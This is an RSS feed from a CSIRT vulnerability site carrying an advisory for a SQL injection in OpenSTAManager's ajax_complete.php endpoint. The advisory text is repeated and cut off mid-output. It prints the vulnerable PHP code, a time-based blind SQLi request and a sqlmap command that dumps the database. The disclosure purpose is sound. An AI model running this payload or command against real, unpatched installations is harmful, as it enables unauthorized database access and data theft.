https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 13 Oct 2026 05:51:00 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-267361 EUVD-2026-267361 https://cve.radiocsirt.org/vuln/euvd-2026-267361 https://cve.radiocsirt.org/vuln/fkie_cve-2025-69213 <p>OpenSTAManager is an open source management software for technical assistance and invoicing. In version 2.9.8 and prior, a SQL Injection vulnerability exists in the ajax_complete.php endpoint when handling the get_sedi operation. An authenticated attacker can inject malicious SQL code through the idanagrafica parameter, leading to unauthorized database access. At time of publication, no known patch exists.</p> <p>OpenSTAManager is an open source management software for technical assistance and invoicing. In version 2.9.8 and prior, a SQL Injection vulnerability exists in the ajax_complete.php endpoint when handling the get_sedi operation. An authenticated attacker can inject malicious SQL code through the idanagrafica parameter, leading to unauthorized database access. At time of publication, no known patch exists.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2025-69213 https://cve.radiocsirt.org/vuln/ghsa-w995-ff8h-rppg <p><strong>Affected:</strong> Packagist: devcode-it/openstamanager</p> <p>## Summary A SQL Injection vulnerability exists in the `ajax_complete.php` endpoint when handling the `get_sedi` operation. An authenticated attacker can inject malicious SQL code through the `idanagrafica` parameter, leading to unauthorized database access.</p> <p>## Proof of Concept</p> <p>### Vulnerable Code **File:** `modules/anagrafiche/ajax/complete.php:28`</p> <p>```php case &#39;get_sedi&#39;: $idanagrafica = get(&#39;idanagrafica&#39;); $q = &#34;SELECT id, CONCAT_WS( &#39; - &#39;, nomesede, citta ) AS descrizione FROM an_sedi WHERE idanagrafica=&#39;&#34;.$idanagrafica.&#34;&#39; ...&#34;; $rs = $dbo-&gt;fetchArray($q); ```</p> <p>### Data Flow 1. **Source:** `$_GET[&#39;idanagrafica&#39;]` → `get(&#39;idanagrafica&#39;)` 2. **Vulnerable:** User input concatenated directly into SQL query with single quotes 3. **Sink:** `$dbo-&gt;fetchArray($q)` executes the malicious query</p> <p>### Exploit</p> <p>**Manual PoC (Time-based Blind SQLi):** ```http GET /ajax_complete.php?op=get_sedi&amp;idanagrafica=1&#39; AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND &#39;1&#39;=&#39;1 HTTP/1.1 Host: localhost:8081 Cookie: PHPSESSID=&lt;valid-session&gt; ``` &lt;img width=&#34;1304&#34; height=&#34;580&#34; alt=&#34;image&#34; src=&#34;https://github.com/user-attachments/assets/4ffcdacf-d56c-4a44-ad95-d6cecd0f05c8&#34; /&gt;</p> <p>**SQLMap Exploitation:** ```bash sqlmap -u &#34;http://localhost:8081/ajax_complete.php?op=get_sedi&amp;idanagrafica=1*&#34; \ --cookie=&#34;PHPSESSID=&lt;session&gt;&#34; \ --dbms=MySQL \ --technique=T \ --level=3 \ --dump ```</p> <p>**SQLMap Output:** ``` [INFO] URI parameter &#39;#1*&#39; appears to be &#39;MySQL &gt;= 5.0.12 AN…</p> <p><strong>Affected:</strong> Packagist: devcode-it/openstamanager</p> <p>## Summary A SQL Injection vulnerability exists in the `ajax_complete.php` endpoint when handling the `get_sedi` operation. An authenticated attacker can inject malicious SQL code through the `idanagrafica` parameter, leading to unauthorized database access.</p> <p>## Proof of Concept</p> <p>### Vulnerable Code **File:** `modules/anagrafiche/ajax/complete.php:28`</p> <p>```php case &#39;get_sedi&#39;: $idanagrafica = get(&#39;idanagrafica&#39;); $q = &#34;SELECT id, CONCAT_WS( &#39; - &#39;, nomesede, citta ) AS descrizione FROM an_sedi WHERE idanagrafica=&#39;&#34;.$idanagrafica.&#34;&#39; ...&#34;; $rs = $dbo-&gt;fetchArray($q); ```</p> <p>### Data Flow 1. **Source:** `$_GET[&#39;idanagrafica&#39;]` → `get(&#39;idanagrafica&#39;)` 2. **Vulnerable:** User input concatenated directly into SQL query with single quotes 3. **Sink:** `$dbo-&gt;fetchArray($q)` executes the malicious query</p> <p>### Exploit</p> <p>**Manual PoC (Time-based Blind SQLi):** ```http GET /ajax_complete.php?op=get_sedi&amp;idanagrafica=1&#39; AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND &#39;1&#39;=&#39;1 HTTP/1.1 Host: localhost:8081 Cookie: PHPSESSID=&lt;valid-session&gt; ``` &lt;img width=&#34;1304&#34; height=&#34;580&#34; alt=&#34;image&#34; src=&#34;https://github.com/user-attachments/assets/4ffcdacf-d56c-4a44-ad95-d6cecd0f05c8&#34; /&gt;</p> <p>**SQLMap Exploitation:** ```bash sqlmap -u &#34;http://localhost:8081/ajax_complete.php?op=get_sedi&amp;idanagrafica=1*&#34; \ --cookie=&#34;PHPSESSID=&lt;session&gt;&#34; \ --dbms=MySQL \ --technique=T \ --level=3 \ --dump ```</p> <p>**SQLMap Output:** ``` [INFO] URI parameter &#39;#1*&#39; appears to be &#39;MySQL &gt;= 5.0.12 AN…</p> https://cve.radiocsirt.org/vuln/ghsa-w995-ff8h-rppg